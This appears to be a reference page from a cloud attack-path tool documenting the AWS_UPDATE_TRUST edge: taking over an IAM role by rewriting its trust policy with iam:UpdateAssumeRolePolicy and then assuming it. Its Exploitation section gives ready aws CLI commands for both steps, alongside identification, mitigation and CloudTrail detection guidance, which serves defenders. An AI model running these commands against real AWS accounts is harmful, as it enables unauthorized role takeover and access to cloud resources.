AWS_UPDATE_TRUST

Summary

Forestall ACL Alias	AWS_UPDATE_TRUST
AD Alias	N/A
Affected Object Types	AWSUser|AWSRole → AWSRole
Exploitation Certainty	High
AWS IAM Action	iam:UpdateAssumeRolePolicy

Description

An attacker who holds iam:UpdateAssumeRolePolicy on a role in their own account can take it over on its own. They rewrite the trust policy to trust their principal, then assume the role. In the same account the trust grant alone authorizes the assume — no separate sts:AssumeRole identity permission is required, because a role's trust policy is a resource-based policy and an in-account resource grant is sufficient.

This is why the standalone action is modeled as a takeover edge, not just a "modify" edge. Rewriting the trust is what lets the attacker become the role. It differs from AWS_UPDATE_POLICY_AND_ASSUME, where the attacker changes what the role can do (its permission policy) and therefore also needs the ability to assume it.

The two-action cross-account variant (trust rewrite plus an explicit assume grant) is modeled as AWS_UPDATE_TRUST_AND_ASSUME.

Edge semantics: (Attacker:AWSUser|AWSRole) -[AWS_UPDATE_TRUST]-> (TargetRole:AWSRole)

Precondition: same account. The attacker and the target role live in the same AWS account.

Identification

# Who can rewrite the trust of a role in this account
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:UpdateAssumeRolePolicy \
  --resource-arns "arn:aws:iam::<account-id>:role/<target-role>"

# Current trust policy of the role
aws iam get-role --role-name <target-role> \
  --query "Role.AssumeRolePolicyDocument"

Exploitation

# Step 1: Add the attacker to the role's trust policy
aws iam update-assume-role-policy \
  --role-name <target-role> \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {"AWS": "<attacker-arn>"},
      "Action": "sts:AssumeRole"
    }]
  }'

# Step 2: Assume the role (same-account trust grant is sufficient)
aws sts assume-role \
  --role-arn "arn:aws:iam::<account-id>:role/<target-role>" \
  --role-session-name takeover

Mitigation

• Restrict iam:UpdateAssumeRolePolicy to dedicated IAM administrator roles. Deny it for service and application roles.

• Use SCPs to block trust policy changes across the organization or on sensitive roles.

• Apply IAM permission boundaries so a rewritten trust policy cannot exceed the boundary.

• Use AWS IAM Access Analyzer to flag roles whose trust policies changed.

Detection

CloudTrail Event	Description	Key Fields
UpdateAssumeRolePolicy	The trust policy of a role was modified	requestParameters.roleName, requestParameters.policyDocument, userIdentity.arn
AssumeRole	The role was assumed after the trust change	requestParameters.roleArn, userIdentity.arn

Alert when UpdateAssumeRolePolicy adds a new principal and the same principal calls AssumeRole on that role shortly after.

References

• AWS IAM: UpdateAssumeRolePolicy API

• AWS: Cross-account resource access and policy evaluation

• Rhino Security Labs: AWS IAM Privilege Escalation Methods